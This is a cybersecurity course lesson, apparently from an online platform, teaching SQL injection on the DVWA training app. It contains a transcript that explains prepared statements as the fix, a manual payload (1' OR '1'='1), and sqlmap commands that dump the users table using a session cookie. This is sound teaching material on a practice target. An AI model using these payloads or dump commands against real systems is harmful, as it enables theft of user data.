SQL injection on DVWA, by hand and with sqlmap
Break a database query by hand first, so you understand what sqlmap automates.
Roman Urdu: Pehle haath se SQL injection kro, phir sqlmap se. Samajh pehle, tool baad mein.
Video transcript
SQL injection is still one of the most common serious web bugs. It happens when something a user typed is read as code.
Many apps build a database query by gluing your input into a sentence of SQL. Type a normal ID, and the database gets a normal question. One row comes back.
But if the input contains a quote, the data part ends early. Whatever follows is read as SQL, not as data. Now the user is writing part of the query. And the database answers: every row, not just one.
In the lab, you do it by hand first, to see exactly what breaks, and why. Then a tool like sqlmap repeats the same idea automatically. Understanding first. Tools second.
The fix is a prepared statement. The shape of the query is fixed first. Your input is sent separately, and can only ever be data. Also check input, and give the app's database user as little access as it needs.
So: input is data. Never let it become code. In the lab, on the training app DVWA, set to its easiest level, you pull out the users table by hand, then with sqlmap. Only on training apps, or systems you are allowed to test.
Rules: Only test systems you own or have written permission to test. Everything in this track runs against practice targets inside your own machine. Scanning or attacking anyone else’s system without permission is a crime in most countries.
Goal
Pull the users table out of DVWA (security level: low), first by hand, then with sqlmap.
Why it matters
SQL injection is still one of the most common serious web bugs. Doing it by hand teaches you what to fix.
Your machine · learn-cyber · lab cyber-04
A terminal on your own cyber machine, right in this page. It keeps your files between lessons.
First time: make your course machine from any terminal (Mac, Linux and Windows 10+ all have ssh). Your ssh key is your login; a new key picks a handle and accepts the terms first.
$ ssh -t -p 2200 m.logicpacks.io new cyber --name learn-cyberAfter that, come back to the same machine any time. Your files are still there:
$ ssh -t -p 2200 learn-cyber@m.logicpacks.ioTo use the terminal in this page, sign this browser in once: run this and open the link it prints.
$ ssh -p 2200 m.logicpacks.io webAll your machines in the browser: logicpacks.io/m. A guest key gets one machine: if you already use it for something else, rm that one or link a free account (3 machines). How machines work, credits and terms: logicpacks.io/machines
Step by step
Start the practice targets (about 20 seconds; Juice Shop is the slowest).
$ lab start$ lab statusSQL injection is input being read as code. A prepared statement fixes the query shape, so input can only ever be data. Open DVWA in your browser: the DVWA tile on your machine page, or the ssh tunnel from lesson 3. First time only: Setup / Reset DB, then Create / Reset Database. Log in as admin / password and set DVWA Security to low.
Open SQL Injection. Try
1, then1'(an error means your input reaches the query), then1' OR '1'='1.Copy your PHPSESSID cookie (browser dev tools, Storage) and let sqlmap list the databases.
$ sqlmap -u "http://dvwa.lab/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<yours>; security=low" --batch --dbsDump the users table and keep a copy for lesson 6.
$ sqlmap -u "http://dvwa.lab/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<yours>; security=low" --batch -D dvwa -T users --dump$ cp "$(find ~/.local/share/sqlmap/output -path '*dump/dvwa/users.csv' | head -1)" ~/scans/dvwa-users.csv
Check my work
Run this in your machine. It checks your work and prints PASS, or FAIL with a hint about what is missing.
$ lab check cyber-04